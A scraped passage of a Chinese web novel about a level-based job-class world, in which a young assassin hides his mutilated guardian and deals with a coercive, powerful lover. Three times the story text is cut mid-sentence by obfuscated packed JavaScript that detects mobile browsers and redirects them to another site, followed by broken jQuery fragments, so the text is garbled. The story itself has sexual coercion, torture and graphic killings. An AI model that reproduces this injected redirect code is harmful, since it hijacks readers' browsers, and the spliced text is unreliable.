乌修平和沈曙雀算是近百位孩子中较为幸运的,有手有脚可以自己吃饭,虽因各种原因无法融入社会,但弯腰低头饿不死自己。
其余患有脑瘫、自闭症等顽疾的孩子,根本无法理解什么叫升级、什么叫转职。
整个转职时代与他们毫无关系。
他们是整个时代的弃儿,也是仁爱院里占比最多的可怜儿。
乌修平抱着平叔偷摸进仁爱院时,沈姥姥正教几个孩子做简单的手工。这是她第七十次教这些孩子做重复、简单的手工活,数个或歪嘴或痴肥的孩子呆呆看着童姥姥,笨拙研究珠子要从哪里过去,又要从哪里出来。
地上,堆着几个蛇皮袋,看样子都是从工厂拿的零件。
乌修平背过这些袋子,来到孩子们居住的卧室,将平叔放在一张摇篮中。突如其来的冲击叫他不知道说什么才好,呆滞了许久喊道:“姥姥。”
童姥姥这才注意到乌修平。她听完了乌修平哭哭啼啼磕磕绊绊的话,询问道:
“有人跟过来?”
“应该没有。”
童姥姥严肃道:“我知道了。你看着阿平,先不要联系他的队友。”
乌修平点头。随后他想起自己伤了雇主,后知后觉恐惧起来,“姥姥,我得去找穴鼠先生一趟。这份工作是他推荐给我的。”
“你知道雇主是什么人吗?”童姥姥已快步走到门口。她抬起手使用技能,辉辉光芒立起仿若一座光之墙壁。但这堵墙壁的功效并不止于防御,乌修平看到自己一路带来的血迹、气息、脚印等踪迹凭空而起,融化在光芒中。
童姥姥,职业【比丘尼】,等级37。
技能【一切皆空】,可以消除一定范围和时间里留下的踪迹,并伪造出“空”的假象。
说实话,这技能非常赚钱。直到现在,还有人专门请童姥姥出山。沈曙雀对此非常羡慕,苦读过一段时间的经书,宣扬自己也要转职成【比丘尼】,成为童姥姥那样“菩萨心肠金刚手段”的女人。
乌修平也十分羡慕。
他想他要是有姥姥这样的职业与能力,不用低声下气赚钱,也不用被人打着赔笑赚一千元的日薪。
“你老板当时怎么和你说?”
乌修平诚实道:“他说,这就是一个小富二代,家里有点闲钱。”
童姥姥眉头皱了下,收起技能,“注意安全。不要冒险。”
这是要乌修平赶快去找穴鼠先生问个清楚的意思。
乌修平却不想那么快走。他隔着窗玻璃,从剥落的窗贴纸中看到平叔躺着的摇篮床——记忆里强壮的男人死了般躺在摇篮中,他的四肢被截断,完全丧失尊严。从这个角度,甚至看不到他起伏的胸膛。
乌修平移开眼,想起那响起的提示音。
他内心蹭得冒出怒火,前因后果忽然串联起来:穴鼠早知道从那富二代手中知晓平叔的存在。那家伙就是故意的,自打知晓自己过去喜欢平叔后总说酸话,总缠着自己,现在更是……不。不能这么去想。
穴鼠或许不知道呢?
乌修平努力让自己平静下来,让一切朝好的方向想,穴鼠或许不知道呢?他只是个中间人,整天待在昏暗的地下,根本不会为自己找平叔。一切都是巧合,是误会。
“姥姥,院里缺什么东西吗?”乌修平道:“平叔这样子,要带什么药吗?阿雀的药也快吃完了,还有其他人的药……”
童姥姥:“我给你拿单子。”
她先处理乌修平背后的伤口,再数了数钱,折成很小的格子。乌修平脱下染血的保镖服,换了一身黑。基于安全,他把刚饮血的匕首绑在惯用手上,避免夺匕之劫。
这件事情不一定与穴鼠先生有关系。换而言之,对方为什么要这么做呢?乌修平想着,做好伪装进入黑市,娴熟穿过各个通道与暗门,向着最深处走去。
穴鼠就藏在这里。
乌修平打开手电筒,光芒射出去不足两米就被黑暗吞食。他凭借记忆和穴鼠教给自己的口诀琢磨十分钟,才打开新的暗门。推门的风,呼啦吹来什么东西,乌修平伸手一抓,果然又是吃空的零食袋子。
他叹口气,目光投向床所在的位置。那原本平整的床褥上,突得多出两三处圆拱,乌修平打开灯,“啪”一个枕头飞到胸口。
“唔!”
圆拱动了动,伸出一只手,摇摇晃晃寻找什么。他一会儿抓着床上的薯片,又抓住床上的游戏机,最终抓到一件不知道哪里的衣服边角,用力拽出来抽向乌修平,“臭乌鸦!关灯!!”
乌修平没有躲,任由那件衣服甩在自己脸上。
他调暗灯光。
床上的人哼哼两下,转过身,夹着被子,继续睡觉。
暖黄色的灯光打在两颗雪白的屁股蛋上,圆润,光滑,呼吸之间,阴暗处的黑蕾丝花边卷起又落下。
怎么又穿上了?乌修平想着,心中揣测对方恶意给自己安排工作的念头再次淡下去。
“穴鼠。”
“不要烦我。”穴鼠用被子盖住脑袋,含糊不清地说道:“臭死了。”
乌修平只好先去打扫卫生。他先把穴鼠吃完的零食包装袋收到垃圾桶,擦一遍桌子,扫一遍地,再拖一遍地。接着他翻过床上慵懒的某人,将他胳膊大腿压着的衣服抽出来,按照要不要洗分类装在塑料袋里。
他做习惯了,一切都悄无声息,却还是遭人烦。
“扫扫扫,天天扫。”穴鼠抬脚踩在乌修平小腹上,“下次给你安排清洁工的工作。”
乌修平无奈。穴鼠哪天来兴致要踩他脸上,他也没办法。
毕竟面前这个懒惰的家伙,是他目前见过的等级最高的职业者。
穴鼠,职业【恶堕者】,等级89级。
如果说童姥姥的【比丘尼】,还有明确的转职任务,在各地也能打听到转职成功的案例。那么【恶堕者】则完全是一个全新的职业,是在转职时代诞生出的“全新职业”。
和寻常网游小说中描述的类似,每个人升入10级后都要完成【转职任务】,以此进入一条全新的职业道路。
而获得职业的道路却少得可怜,目前被证实有效的只有两个:
一、由【游戏面板】推荐职业,大部分人会感应到1-6个职业,包括但不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223156|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
限于【保安】【保姆】【清洁工】……【枪手】【刺客】【魔法师】等较为普通的职业。
游戏面板将根据玩家的前半生,推断出最适合他的职业。
二、向神灵祈祷。这也是目前最主流的一条道路。
大多数人都会先向神灵祈祷,数次无果后,再转向【游戏面板】推荐的职业。乌修平,以及他大部分同学都是这样的。
前者,被大家称为“普通职业”。
后者,则大家公认的“神级职业”获得渠道。
遇到穴鼠之前,乌修平觉得“普通职业”的上限也就这样。遇到穴鼠之后,他才真正意识到“普通职业”涵盖得范围很大——道德也能成为“职业”判断的标准!
而当穴鼠给他亮出等级和技能,那洋洋洒洒拉下来几乎看不到边际的加持与经验条,乌修平有生以来第一次恨自己不是个恶人。
“喂。说话。”穴鼠用脚背碰碰乌修平的裤腰带,打着哈欠,“别打扫了。到床上来。”
“今天不想做。”乌修平低声抗拒,“我把雇主杀了。”
他的抗拒没有任何效果。穴鼠勾住他的裤子,两个人翻滚到床上。
“杀了?”
“……应该。”
穴鼠坐在乌修平小腹上,手掌沿着男人的腹肌往上走,将他的衣服推得卷边,“你怎么想的。人咽气了吗?”
乌修平不知道。他看着穴鼠逐渐逼近的脸,移开眼珠。
他没有告诉仁爱院的大家,自己与穴鼠还有□□上的关系——在仁爱院众人眼中,穴鼠就是个抠门老板。每次他给乌修平提供丰厚的短期工作,都要扣下40%的收益做中间费。
除此之外,乌修平还是对方的清洁工、跑腿、保姆、出气筒、随叫随到的按摩器。
“说话。”穴鼠往前蹭了蹭,手指若有若无地打转,用力按压乌修平身上的新伤口。
乌修平倒吸一口凉气。
“当时还有其他人吗?”
“有的。”
“怎么不把他们都杀了。”
乌修平回忆起保镖头领那可怕的39级,背上的伤口隐约作痛。
“打不过。”
“哦~所以,现在是回家找大人的环节吗?”穴鼠两条腿缠在乌修平腰上,乌修平的衣服全卡在脖子处。他微微低下头,穴鼠赤裸的双臂已环住他的脖颈。
穴鼠道:“你知道我平日不出门……要是你求我,我可以为你隔空杀人,把他们全部杀光,这样谁也不知道你杀了雇主。”
两人相处至今,乌修平只见过穴鼠动一次手。
光一次,足以穴鼠成为黑市的无冕之王。
“没必要杀其他保镖。他们和我一样只是来打短工。”
“你不杀他们。雇主家也不会放过他们。总归都是死,谁杀都一样。”
“我不喜欢这样。”乌修平低声道:“我在雇主那里看到平叔。穴鼠先生。先生。”
你从一开始就知道平安生的存在吗?
穴鼠抱得更紧些,他似乎很喜欢拥抱这件事,有时候拥抱是欢愉的前奏,有时候拥抱是高潮后的余味,也有时候拥抱无处不在。
而这种坦诚的全是欲望的拥抱,他不允许乌修平和他之外任何人做。
“我不喜欢听到这个名字。”穴鼠闷闷道:“乌鸦。再提他的事情,今天你就别射了。”
随后,他想到什么,舌头舔了舔嘴唇,命令道:“现在,动一下。”
5. 第四章
第四章
乌修平与穴鼠在一个晚上认识。
那时,平安生入副本近一年,失踪的噩耗久久盘旋在乌修平头颅,压得他无法喘息。带着最后点希望,他来黑市打听消息,同时找赚钱的灰色工作。
穴鼠一眼相中了乌修平。
他忽然凑近乌修平,搂着他的脖子嗅嗅,将一卷钞票塞在乌修平的胸口,问这些够不够。如果不够的话,他还可以再加。当乌修平问他,自己需要做什么时,穴鼠煞有其事说打扫卫生,连哄带骗把懵懂处男带回洞穴,用一周时间吃干抹净。
乌修平从最开始的抗拒、挣扎,到被金钱腐蚀、被89级的强权恐吓,撑一周差不多是极限了。他看着自己身上的衣服越来越少,慌慌张张想要穿上,却怎么也穿不上。
事后,穴鼠给乌修平推荐一些安全又能赚到钱的工作。
“别难过啦。”穴鼠作为下位,吃饱后心情非常好。他会趴在乌修平的背上,用手指数对方身上的伤口,“瞧瞧外面那些人,除了我,还有谁会喜欢你。”
乌修平不说话。
前三个月,他近乎屈辱地在89级威压下活着,麻木地干这位强者。直到穴鼠无法忍受这种变相的冷暴力,胡乱用枕头、零食袋和衣服外套抽打乌修平,嘴里胡乱喊着“你到底要什么”“你到底干什么吃的”“用力!!”“我给你工作,你还要什么?”“钱?还是其他道具。”
乌修平也不知道自己要什么。
他满心眼都是平安生的下落,至于是没有回应的告白与遗憾更多,还是出于亲情、父子情,他一概不知,也分不清。但他把“寻找平叔”作为要求和穴鼠说过后,男人一脚将他踹下床,踢他的小腿骨,让他滚。
“你喜欢他。你喜欢他!!你和他做过吗?我好还是他好。”
“……”
“说话!”
乌修平觉得荒唐事停在这里就很好,当晚他穿上衣服,屁滚尿流离开黑市。没过两个月,他又被穴鼠挖出来,塞到床上昏天暗地做了两天三夜,彼此汗津津黏在一起。
“不行。”穴鼠道:“你喜欢别人就喜欢吧。但你的身体得是我的,除了我,你不准和其他男男女女发生关系。”
乌修平短暂地想骂人,哪怕穴鼠是89级,他也想骂。
“你太过分了。”
“乌鸦。”穴鼠喊着乌修平在黑市里的代号,掰过他的脸,在他嘴上咬出一个血口子,两人血汗交融得啃在一起,“看看你这张脸,除了我还有谁愿意爱你。你才过分。”
乌修平一时间找不出反驳的话。
在无数个夜晚,他也是这么想的。特别是与穴鼠交欢后,他看着对方那张吃饱后带着媚意和倦意的脸,联想到“美女与野兽”的童话——穴鼠长得很漂亮。他的美丽是带着强大的力量感与韧性,乌修平看到他的第一眼就明白这样的人要用金钱和权势养大。
他不知道穴鼠的过去,也知道穴鼠不会同15级的小废物说过去。
他根本不理解穴鼠看中他什么。
“一见钟情?”穴鼠也不理解,但无所谓,他是肉食动物,吃到最重要。吃完后,他心情好才会和乌修平解释,“可能我们在很久很久之前见过。我看到你的第一眼,就感觉你是我的所有物。嗯。大概这样吧。”
平时,穴鼠就把乌修平当奴隶使唤,他不会对乌修平太好,但对比其他雇主,已经好了太多。
“两个事情。”穴鼠用技能查到一些事情,他躺在乌修平身上,漫不经心道:“你那一刀没把人杀死。那位39级保镖后来不追你,忙着送少爷去医院。嗤。你运气不错。”
乌修平觉得一切糟透了。
“还有一个事情。你偷走‘痛苦之匣’的事情让他们很愤怒。”穴鼠对着空气指指点点,旁边的电子设备外放内衣卖场直播。片刻后,他对乌修平笑道:“要不是【一切皆空】,他们早找到你了。这条系带内裤怎么样?。”
乌修平知道自己说好或不好都没有什么用。
下次他来穴鼠这,一定能看到这条系带内裤。
他专注上一个话题,“痛苦之匣是什么?”
“就是你亲爱的平叔。”穴鼠阴阳怪气解释道:“他被人做成一种升级道具。这个道具叫做‘痛苦之匣’,懂吗?”
“有恢复的办法吗?”
“不知道。”
“连你也不知道吗?”乌修平能接触的最高级职业者就是穴鼠。例如痛苦之匣这种资料,如果不是穴鼠告诉他,他终生都想不到这种道具。
高级职业者和低级职业者所能掌握到的资源、信息天差地别。
“我又不是什么都知道。”穴鼠埋怨道:“这是‘疗愈与痛苦之神”的产物,你也可以叫他‘痛苦与疗愈之神’。祂可以自由掌控疗愈与痛苦的比例——伤口的疗愈总是伴随痛苦,你这么理解这位神灵吧。”
痛苦之匣,便是疗愈与痛苦的具象化。
“伤害‘痛苦之匣’,让它感到痛苦,就能得到经验值。”穴鼠道:“不限制次数、不限制使用者等级,唯一的缺点是‘痛苦之匣’的疼痛阀值会不断提高。最终,在死亡也无法带给他彻底的痛苦时,它的价值就会被彻底榨干。”
“我给你一个建议:不想你的平叔那么痛苦,现在回去,杀了他。”
乌修平想也不想,拒绝道:“不可以。”
他做不到。
哪怕短暂想过,仓促怨恨过对方为什么会落到如今地步。可真让乌修平杀死平叔——他就是做不到。
他是平叔捡回来的孩子,童姥姥不止一次告诉乌修平,平安生是他的救命恩人。而乌修平从小到大又是在平叔的照料下长大,他与沈曙雀及其他孩子们都受过平叔的恩惠。
平叔为他们交学费,无偿为他们疗愈身体,带他们玩耍,帮他们找旧时代药品。
他闲下来就到仁爱院帮姥姥们照顾无法自主生活的孩子,十分不耐烦地责怪姥姥们没和他说缺了什么东西,转身买了一大堆日用品,次次把积蓄花掉大半。
他到今天都没结婚,也没有恋爱对象,家里人均离世,整天帮姥姥们做一些力所能及的事情,除了下副本就是带孩子。
所有孩子里,他最关心乌修平,经常摸摸乌修平的脑袋,在墙上量身高,欣慰道:“又长高了。”
他经常探望乌修平,知晓乌修平所有年龄段的服装尺寸大小,经常俯下身给这孩子穿鞋,拎书包,整理衣领口。
在他的青年到中年时光里,乌修平从一个孩子成长为青年。
他们之间那一声称呼外,与真实的父子没有任何差别——乌修平无法喊他为“父亲”,因平安生不止对他一个人这样好,他对沈曙雀,对仁爱院里大大小小不同孩子是一样的好。
他也会给他们买新衣服,同他们聊天,下副本回来牵着他们的手,他会在乌修平量完身高后换下一个孩子,笑嘻嘻往墙上刻下每一个孩子的年龄的与姓名缩写。
平
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223157|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安生是仁爱院里所有孩子的“父亲”,是陪伴孩子们长大的唯一的男性长辈。
“要我杀了平叔。我怎么可能做这种事情。”
“那你就等着他被找到,折磨致死吧。”穴鼠躺在床上,冷酷地说道:“乌鸦。你就是心太软,才会一直这么弱。”
这话刺得乌修平胸口疼,气流在他肺腑中乱窜,后背的伤口重新撕裂开,鲜血淋漓落了一床。
穴鼠:“等会把床单换了。”
“你根本不懂。”乌修平道:“我不和你说话了。”
穴鼠吭吭两声,盖上被子,蒙头瓮声瓮气,“不说就不说。把床单换了。”
“我不会让平叔死掉的。他是个好人,好人不应该被这样对待。”乌修平那口气不发出来,伤口不会好。他走到门口,重重摔门,泄愤般道:“我要把他们杀了——把欺负平叔的人全部杀了。我会让他活下去。等着吧,穴鼠。好人不应该被这么对待。我会让他活下去。”
仁爱院的大家一定也是这么想的。
“事情就是这样?”沈曙雀抖掉手上的碎屑,问道。她还是做非常小的杂活,日薪50元上下。在乌修平复述他与穴鼠的对话时,她将身体向前倾斜,反复询问“痛苦之匣”相关的资料。
“能用我的血解除这个‘痛苦之匣’吗?”沈曙雀自言自语,随后否决,“不。变成我这样也很痛苦。在这个时代没有力量的活着,不如死掉。”
“阿雀。我们算一下我们的工资。”乌修平道:“先帮平叔把身体养好,让他精神好起来。”
“啊呜。我们养不起平叔。”沈曙雀放下日薪50元的工作。她将膝盖上一盒子的成品,倒在麻袋里,抖了抖,立起来。麻袋足足有一个她那么高,可以换100元。
“明修女受伤后,院里收入少了一大半。孩子们离不开姥姥。我只能找一些零碎的工作……你也是。再加上燕语姐和其他姐姐们的帮衬,勉强吃得饱饭。”
沈曙雀最开始也上学,但她身上的诅咒被人知晓后,再也没有学校敢收下她。
沈曙雀只能跟着姥姥和修女识字读书,在放学时间找乌修平,帮乌修平背书包,借机混在放学人潮中,羡慕又偏要装自己是所有学生中的一位。
“平叔的状况很糟糕。”沈曙雀道:“修女说,断肢重生药物要去50级的副本找,还不一定能找到,爆率很低。平叔的精神状态也不好,他说不出话,怎么说都没反应。”
“相反,孩子们的经验值一直在涨。”
经验值。
没错。经验值。
【伤害‘痛苦之匣’让它感到痛苦,便能得到经验值。】
乌修平不理解,“怎么会这样。”
“被自己养大的孩子们看到这种样子……平叔内心感到很痛苦吧。”
“我不会嫌弃他。”乌修平据理力争,“阿雀。我会努力赚钱的,50级的材料,50级。50级。有没有什么低等级的替代品,我一定努力找来。”
他那狼狈找补的样子太可笑了。
沈曙雀看不下去了。她与乌修平同岁,扎紧麻袋口袋,说道:“啊呜。你到底是因为什么想要平叔活下来——你下不去手的话,我来。”
“阿雀。你在说什么。”
“你下不去手,就由我来杀掉平叔。”沈曙雀道:“抱歉,我实在找不到平叔能活下去的理由。”
那种情况。
那种情况,足够让人失去活下去的意志。
6. 第五章
第五章
这个晚上,沈曙雀让乌修平去看看平叔。
烫伤。刀伤。鞭打。
断肢。侵犯。溃烂。
全身上下,只有五官是完好的。
留给受害者的只有一具遍布疮痍的躯干。
躯干。
没有四肢,彻彻底底的躯干。
乌修平的手搭在毛毯上,久久没有掀开——此时此刻,他多么希望那毯子下是雄壮的男人身体,而不是现在这样干瘪的样子——是了。或许阿雀和穴鼠说的都是对的。以这种状态活着又有什么意义呢?可乌修平总忘不掉,自己捧着花跑到平叔面前,欢喜告白的那天。
他清楚那天自己的莽撞,让平叔感觉到不适应。可同样是那天,他察觉到自己撕裂与对方的“养父子”假象,彻底呈现最丑陋的自己。他迫不及待想要对方完全接受自己,理解自己,并最终接受自己满腔爱意。
不论是什么爱。
“平叔。”乌修平扶着摇篮,轻轻呼唤道:“平叔。你听得到我说话吗?”
摇篮微微左右摇晃,床边褪色的塑料玩具吱呀转动。
那还是平叔很久前买给另外一个可怜心脏病孩子的。那孩子生命最后一程格外喜欢望着床头的玩具,听见响声,下意识咯咯露出乳牙。
乌修平多么希望这一幕在平叔身上重现。
他不死心地再次呼唤,“平叔。”
沈曙雀依在门口,提着一把菜刀。她向前走一步,乌修平赫然抽出伤了雇主的匕首,对准她。
“啊呜。”沈曙雀冷静得可怕,“你也看到了。”
“别过来。”
沈曙雀道:“平叔死了。我们会为平叔报仇。”
“哪还有什么意义?”乌修平道:“你说出这话,事后就不会报仇。”
沈曙雀提起刀,平静道:“难道平叔活着,你就能为他报仇?”
不。不是不想做。而是做不到,很难做到。乌修平很清楚自己15级,沈曙雀10级,加上童姥姥和明修女,再算上仁爱院里大大小小的孩子们,都不够富二代那群保镖打。
他的胸口因客观事实抽疼起来,和固有的皮肉疼痛不同,这口气从腹腔一直往上窜,在咽喉里到处乱窜,什么话都挤不出来。
“我。”乌修平道:“那也不能这样。我。平叔。”
“所以我来。”沈曙雀说着,刀尖向前,和今晚的月光融成一条线。除了这把刀,她浑身都浸泡在黑暗中,与乌修平对视的瞬间,两人四目恰似一对烛火,忽得吹灭一盏。
“平叔待你也很好。”乌修平道:“他还在这里。阿雀,你说这种话合适吗?”
沈曙雀无动于衷。她提着刀,快进两步,那条白线忽得闪出一整个面。乌修平冲上前,抱起挚友往地上砸,他们两个迅速扭打在一起,推拉踹咬,拽着对方脑袋大张着口唾骂起来。
“你疯了!”
“你才疯了!”沈曙雀一巴掌扇在乌修平脸上,“别以为我不知道你脑子里想什么。你这个家伙。你就是不甘心,不甘心。王八蛋!”
乌修平恼羞成怒,他抓着沈曙雀的手腕。两个人手上都拿着刀,却又死死把刀锋撇在一边,用没有利器的手殴打对方,“我王八蛋?我好好修炼,总有一天能进入高级副本。什么断肢,什么药我找不回来。阿雀。阿——”
沈曙雀狠狠打中乌修平的手腕,手上的刀和匕首在地上飞旋。他们两就像是失去牙齿的狗,不断狂吠着恐吓对方,“三年前你也是这么说的!现在呢?你有提高等级吗?乌修平!认清现实。我们两个根本不可能晋级。你解不开诅咒,我也解不开诅咒,该死的神灵。操。操。狗屁转职,你以为我想这样吗?”
杀了平叔。
然后呢?
他们既没有办法向高位者报仇,也没有办法深入45级副本找出平叔变成“痛苦之匣”的原因。因为他们能力不足,在这个以等级职业论贵贱的时代,他们就是最卑贱的人,他们命中注定被人踩在脚下一辈子。
“杀了能做什么。假装什么都不知道吗?”乌修平咆哮道:“这三年,是我在外面奔波,是我一直在找平叔。阿雀,你有什么资格说我,没有我,你连做手工的工作都找不到。”
沈曙雀甩了乌修平一巴掌。
15级和10级从竖着打,变为横着打。15级的乌修平虽然有职业技能和更高的等级,但沈曙雀身上有“疾病与瘟疫之神”的诅咒,再加上沈曙雀心够狠,两人一时间分不出高低。
“你以为我想要这样吗?平叔活下来又能怎么样。我们养不起,也治不好他。让他和我们一起苟活?”
“我们可以努力。努力。”
“努力个屁。”沈曙雀再次揪住乌修平,给他不切实际的脑瓜子来两下,“你想过雇主找上门来,你会怎么样吗?平叔会怎么样吗?仁爱院的大家会怎么样吗?”
乌修平耳朵嗡嗡响。
“我告诉你。”沈曙雀道:“你会被那些有钱人当场砍死。平叔会被重新带走,仁爱院所有人都会死,或者变成平叔那样的玩物。”
弱者,是不值钱的、没有价值的。
只能成为玩物、消耗品、强者的陪衬,在强者摘取胜利果实时踩着自己的尊严叫好,为他们提供最后一点愉悦的上等人价值。
这,就是这个世界的基本运行逻辑。
“那我能怎么办?”乌修平质问道:“你要我什么都不做吗?”
沈曙雀不再说话。显然,她有一个属于她自己的答案,但是她没有办法告诉乌修平,也不必要告诉乌修平,“说这些没有意义的东西,我真想扇死你。”
门框忽然响了两下。
一根直棍探进来,穿着旧短袖的女孩走进来,怀抱着一个哭泣的孩子。她的棍棒上下左右触碰周围,敲打着走着,“怎么了?”
她双眼无光,凭借直棍找到地上打滚的二人组,用棍尖碰碰他们的腿,“发生什么事?我在三楼听到你们打架。”
乌修平不说话。
沈曙雀也不说话。
两个人面对比自己年龄还小的盲女,站在统一战线,手别开对方,往边上挤挤又因狭窄空间碰在一起。
“摇篮床上有人,对吗?我听到呼吸声了,是个成年男人。”她侧耳片刻,继续低声道:“可怜的人。他一定伤得很重。你们打得这么厉害都没有吵醒他。”
乌修平心虚得要哭。从地上起来后,他的眼泪噼里啪啦往下掉,说不清是被最好的朋友暴揍,还是因委屈产生。但在盲女面前,他咬住下唇,胡乱嗯嗯两句。
沈曙雀擦去嘴角的血,捡起地上的刀具,“我们马上出去。”
盲女的直棍精准点住她的手,轻微下移后钉住了两把刀具。她道,“你们吵架了?曙雀姐?修平哥?”
“没有的事情。”沈曙雀道:“我和他讨论平安生叔叔的去向。”
“原来如此。”盲女轻巧地歪了歪脑袋,“看来床上的男人就是叔叔。你们吵得真厉害,发生了什么不好的事情吗?”
乌修平终于找到说话的缝隙,将事情的始末说了出来,努力寻找到一个站在他这边的人,“平叔照顾我们这么多。我会努力……大不了复仇的事情我自己来解决。我绝不会连累大家。”
沈曙雀悄悄瘪了瘪嘴。她双手环抱,目光往摇篮扫过,极快地收回。
乌修平举起手,对前方画了一个圆圈,“我愿意对神灵发誓。我不会让其他人为我的选择承担责任,如有违背愿让。”
沈曙雀一脚踹在乌修平膝盖后,直接打了休止符。
“说说谁不会说。”沈曙雀痛斥道:“你告诉叶生光,我们要和什么人作对。”
“修平哥。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223158|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”盲女叶生光伸出手扶住踉跄的乌修平,“我还有一些技能,或许能帮上忙。”
*
舞厅。
灯光昏暗。
七点钟的夜场本该陆陆续续热闹起来,此刻却只有几束月光透过玻璃顶照进来。二楼的专座漆黑一片,少数应急灯散发出幽幽的绿色。数个保镖跪在地上,像再进行什么古老的臣服仪式。
“表少爷受伤了。”为首的保镖首领不在这里,另外一道声音低声叱责道:“一个十五级,就把你们糊住了?给你们发工资还不如拿去喂野怪。”
“对不起!”保镖们声音绷紧,忽得大声地整齐地念诵道:“对不起。我们是废物。”他们屁股抬得高高的,脑袋压在地上,每说一句话都用力磕下去,咚咚的声音鼓点一般敲着,带这种诡异的节奏感。
各种忏悔声在鼓点中起此彼伏,恰如旧时代的传销。
“对不起。我们没有保护好少爷。我们是废物。”
“我们该死让少爷受伤了,对不起,对不起,我们该死。”
“我。我自己打自己。我打——我打——我对不起经理的信赖,对不起老板。我对不起老板给的工资我是废物,废物。”
他们的前方漆黑一片。舞厅各处磨砂玻璃透露出微弱的光芒,地面可见数道斑点似的阴影。
“够了。”声音继续教训道:“说说那人的资料。”
“他,他是黑市推荐过来的。”其中一位保镖将资料背诵说出来,“那边的推荐人是只老鼠……”
黑暗中的声音停顿下来,带着点困惑,重复遍,“老鼠?”随后,他想起某个黑市上的人物,极为不理解地喃喃道:“他给15级刺客推荐工作?”
不不不。不一定是那位。这两者实在是太悬殊了,组合在一起简直有种匪夷所思的感觉,红遍全球的超级巨星给街边自动售货机当推销员都比这靠谱。
“‘痛苦之匣’最后的去向……”声音追问道:“算了。还是我自己来吧。”
他伸出手。地面无数斑点汇聚成一条长蛇,急速穿行在地板和沙发之中,富家少爷残留下的血迹极快被抹去,随之化为一道道折叠蜿蜒的光屏,立于面前。
乌修平的脸霎时间充斥整个屏幕,他抄起匕首,握紧,割断富二代咽喉的动作被一次一次放慢,最终停留在抱起箱子的那一刻。
“【追踪】。”声音命令道:“现在,先补充能量。”
痛苦之匣必须要找回来。
那东西牵扯到太多利害关系了,上面还有很多人在晋级关键……
漆黑长蛇得到命令,“咻”得直立起来。前排数个保镖微微抬头。长蛇头部裂成数瓣不同的黑线,极快扎入他们的眼鼻口耳。脑浆血浆汩汩顺着黑线汇聚到长蛇腹中,最后脱胎为一个具象的人形。
少部分尚存理智的保镖迅速从地上爬起来,朝着舞厅各个角落逃窜。黑暗的各个角落抽出长须,拽住他们的脚踝,迅速将他们绊倒。一时间,惨叫声、撕咬声、哭嚎与咒骂环绕在舞厅,蹦迪专用的舞池里铺上凌乱的血迹,而造成这一切的人平静地打开富二代给保镖们准备的啤酒,自顾自喝起来。
“唉。”他感叹道:“以前我明明很喜欢这种廉价啤酒。”
现在,不一样了。
扭曲的人形叼着手臂和大腿爬来爬去,殷切咬着最好的肉蹲在他脚边,伸出舌头舔舔,发出喝喝的叫声。
“没关系。老板已经付了他们工资。”男人道:“我们的任务是找回‘痛苦之匣’……好孩子,吃吧吃吧。吃完还得干活呢。”
得到主人的认可,那扭曲人形终于低下头,大快朵颐。
舞厅灯一盏一盏亮起,照亮一具一具尸体。男人也点着数目,“一、二、三、四……”
除了39级的保镖首领,和乌修平一起工作过的保镖们都在这里了。
7. 第六章
第六章
乌修平的富二代雇主,姓陈。
工作时,保镖们都叫他“陈少爷”。至于陈少爷家里是做什么、旁边那个39级是什么职业,大家所知甚少,谈起没几句就散了。
因为,那位保镖会盯着他们,时常阴森森看着他们。
好像他们是什么犯人一般。
乌修平能想起的有用资料自然少。他与叶生光简单聊了几句,对方怀中的孩子猛然哭泣起来,叶生光也顾不上仔细听,两人轮流哄了孩子,合上门离开。叶生光坐在摇篮边,静静地送走他们。
第二天,早上四点。天空还没有完全亮起来,周围传来扫垃圾车行进的声音。乌修平从桌子醒来。他翻身,唯恐吵醒依着边睡的沈曙雀。矮了一脚的桌子却因摇晃吱呀叫起来,沈曙雀醒了。
他们两索性套上外衣,去厨房洗番薯,刮番薯皮,剥蒜。番薯是仁爱院的主食,蒜则是工作,市场上收价六毛钱一斤。沈曙雀套上手套,不断剥开蒜皮,窸窸窣窣中,她对乌修平道:“姥姥昨天找了你。”
“什么时候?”
“你睡下啦。”沈曙雀道:“我没叫你。姥姥说,来了两波技能探测,外面已经开始找你了。”
乌修平用力用手搓番薯。他想自己那一刀还是不够利索,他应该狠狠地砍下去,这样那个傲慢又变态的陈少爷死掉,他家里要先举办葬礼,再哭嚎好一阵子——也许,是更强烈的报复,更密集的搜查。
但只要有一点喘息的空间,对现在的乌修平来说,都是种美味的幻想。
“你打算怎么办?”沈曙雀追问道。
“一人做事一人当。”
沈曙雀知晓了。她始终改变不了身边蠢货的木头脑袋,“逞英雄。想了一宿就想了这个。大半天不还是去送死。这件事情是你能扛得住的吗?”
乌修平快要把番薯擦秃噜了。
